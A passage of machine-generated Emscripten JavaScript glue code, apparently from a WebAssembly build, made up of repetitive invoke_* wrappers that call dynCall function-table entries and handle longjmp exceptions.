invoke_fiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_fiiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_fiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiif(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiiiif"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_fiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_fiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiiifiifif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_fiiiiiifiifif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fiiiiiifiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_fiiiiiifiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_fji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_fji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_i(index){var sp=stackSave();try{return Module["dynCall_i"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_idi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_idi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_idiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_idiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iffffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iffffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ifffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iffi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iffi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ifi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ifiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ifiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ii(index,a1){var sp=stackSave();try{return Module["dynCall_ii"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iif(index,a1,a2){var sp=stackSave();try{return Module["dynCall_iif"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iifff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifffi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iifffi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiffi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiffi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iifi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iifii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iifiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iifiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iifiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iifiiiijii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iifiiiijii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_iii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiddi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiddi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiidi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiidi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiidii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiidii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiif(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iiif"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiff(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiiff"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifi(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiifi"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiifii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiifii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiifiifii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiifiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiifiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiifiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiifiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffffi(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifffffi"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffffii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiifffffii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiffii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiffii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifi(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiifi"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiifii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiifiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiifiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiifiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiifiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiffi(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiffi"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifi(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiifi"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiifiiiiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module["dynCall_iiiiifiiiiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifff(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiiifff"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifffiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15){var sp=stackSave();try{return Module["dynCall_iiiiiifffiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiffffiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiffffiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiffffiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiffiiiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22){var sp=stackSave();try{return Module["dynCall_iiiiiiffiiiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiifiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiifiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiifiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiifiif(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiiiiifiif"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9){var sp=stackSave();try{return Module["dynCall_iiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13){var sp=stackSave();try{return Module["dynCall_iiiiiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10,a11,a12,a13)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiiji(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiiiji"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiij(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiij"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiiji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiiiji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiijii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiiijii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiijiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iiiijiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiij(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiij"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iiiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiijii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iiijii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiijiii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iiijiii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iij(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iij"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iiji(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_iiji"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_iijii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iijiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijji(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_iijji"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjii(index,a1,a2,a3,a4,a5,a6,a7){var sp=stackSave();try{return Module["dynCall_iijjii"](index,a1,a2,a3,a4,a5,a6,a7)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjiii(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iijjiii"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iijjji(index,a1,a2,a3,a4,a5,a6,a7,a8){var sp=stackSave();try{return Module["dynCall_iijjji"](index,a1,a2,a3,a4,a5,a6,a7,a8)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ij(index,a1,a2){var sp=stackSave();try{return Module["dynCall_ij"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_iji(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_iji"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_ijiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijj(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_ijj"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ijji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_ijji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_j(index){var sp=stackSave();try{return Module["dynCall_j"](index)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jdi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jdi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jdii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jdii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jfi(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jfi"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_ji(index,a1){var sp=stackSave();try{return Module["dynCall_ji"](index,a1)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jidi(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jidi"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jidii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_jidii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jii(index,a1,a2){var sp=stackSave();try{return Module["dynCall_jii"](index,a1,a2)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiii(index,a1,a2,a3){var sp=stackSave();try{return Module["dynCall_jiii"](index,a1,a2,a3)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiii(index,a1,a2,a3,a4){var sp=stackSave();try{return Module["dynCall_jiiii"](index,a1,a2,a3,a4)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiii(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jiiiii"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiiii(index,a1,a2,a3,a4,a5,a6){var sp=stackSave();try{return Module["dynCall_jiiiiii"](index,a1,a2,a3,a4,a5,a6)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiiiiiiiii(index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10){var sp=stackSave();try{return Module["dynCall_jiiiiiiiiii"](index,a1,a2,a3,a4,a5,a6,a7,a8,a9,a10)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiiji(index,a1,a2,a3,a4,a5){var sp=stackSave();try{return Module["dynCall_jiiji"](index,a1,a2,a3,a4,a5)}catch(e){stackRestore(sp);if(typeof e!=="number"&&e!=="longjmp")throw e;Module["setThrew"](1,0)}}function invoke_jiji(index,a1,a2,a3,a4){var sp=stackSave();try{return 